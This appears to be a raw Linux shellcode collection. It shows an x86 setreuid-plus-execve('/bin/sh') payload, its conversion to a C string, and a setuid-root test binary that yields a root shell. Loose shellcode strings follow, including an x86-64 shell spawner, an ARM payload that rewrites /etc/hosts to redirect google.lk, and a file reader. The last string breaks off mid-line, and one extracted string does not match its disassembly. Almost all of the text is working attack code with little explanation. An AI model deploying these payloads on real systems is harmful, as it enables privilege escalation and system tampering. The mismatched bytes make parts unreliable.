gunslinger@localhost:~/$ objdump -d shell

shell:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	31 db                	xor    %ebx,%ebx
 8048064:	31 c9                	xor    %ecx,%ecx
 8048066:	31 d2                	xor    %edx,%edx
 8048068:	b0 46                	mov    $0x46,%al
 804806a:	31 db                	xor    %ebx,%ebx
 804806c:	31 c9                	xor    %ecx,%ecx
 804806e:	cd 80                	int    $0x80
 8048070:	b0 0b                	mov    $0xb,%al
 8048072:	53                   	push   %ebx
 8048073:	68 2f 2f 73 68       	push   $0x68732f2f
 8048078:	68 2f 62 69 6e       	push   $0x6e69622f
 804807d:	89 e3                	mov    %esp,%ebx
 804807f:	31 c9                	xor    %ecx,%ecx
 8048081:	31 c9                	xor    %ecx,%ecx
 8048083:	53                   	push   %ebx
 8048084:	cd 80                	int    $0x80
gunslinger@localhost:~/$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\xcd\x80"
gunslinger@localhost:~/$

-------------------------------shellcodetest.c---------------------------------
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
		   "\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
		   "\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";

int main(void)
{
	(*(void(*)()) shellcode)();
}
------------------------------------EOF----------------------------------------

root@localhost:/home/gunslinger/# vim shellcodetest.c
root@localhost:/home/gunslinger/# cat shellcodetest.c
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x31\xdb\x31"
		   "\xc9\xcd\x80\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f"
		   "\x62\x69\x6e\x89\xe3\x31\xc9\x31\xc9\x53\xcd\x80";

int main(void)
{
	(*(void(*)()) shellcode)();
}
root@localhost:/home/gunslinger/# gcc -o shellcodetest shellcodetest.c
root@localhost:/home/gunslinger/# chown root:root shellcodetest.c
root@localhost:/home/gunslinger/# chmod 4755 shellcodetest
root@localhost:/home/gunslinger/# exit
gunslinger@localhost:~/$ ./shellcodetest
# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# echo GAMEOVER
GAMEOVER
# exit
gunslinger@localhost:~/$

\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x68\x65\x72\x65\x0a\x68\x48\x69\x54\x68\x89\xe1\xb2\x08\xcd\x80\x31\xdb\xb0\x01\xcd\x80

$ objdump -b binary -m i386 -D shc

shc:     file format binary

Disassembly of section .data:

0000000000000000 <.data>:
   0:   31 c0                   xor    %eax,%eax
   2:   50                      push   %eax
   3:   68 2f 2f 73 68          push   $0x68732f2f
   8:   68 2f 62 69 6e          push   $0x6e69622f
   d:   89 e3                   mov    %esp,%ebx
   f:   50                      push   %eax
  10:   53                      push   %ebx
  11:   89 e1                   mov    %esp,%ecx
  13:   99                      cltd
  14:   b0 0b                   mov    $0xb,%al
  16:   cd 80                   int    $0x80

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x24\x1b\x22\x1c\xff\x21\xff\x31\xff\x31\xff\x31\x05\x31\x78\x46\x2a\x30\x05\x27\x01\xdf\x14\x22\x79\x46\x0c\x31\x04\x27\x01\xdf\x24\x1b\x20\x1c\x01\x27\x01\xdf\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x6c\x6b\x0a\x2f\x65\x74\x63\x2f\x2f\x68\x6f\x73\x74\x73

\x31\xd2\x31\xc9\xbb\xb4\x90\x04\x08\xb0\x05\xcd\x80\xb2\x10\xb9\xc4\x90\x04\x08\x89\xc3\xb0\x03\xcd\x80\x89\xdf\xb2\x10\xb9\xc4\x90\x04\x08\xb3\x01\xb0\x04\xcd\x80\x89\xfb\xb0\x06\xcd\x80\xb0\x01\xcd\x80

"\x31\xc0\xb0\x04\x31\xdb\xb3\x01\xeb\x11\x59\x31\xd2\xb2\x0e\xcd\x80\x31"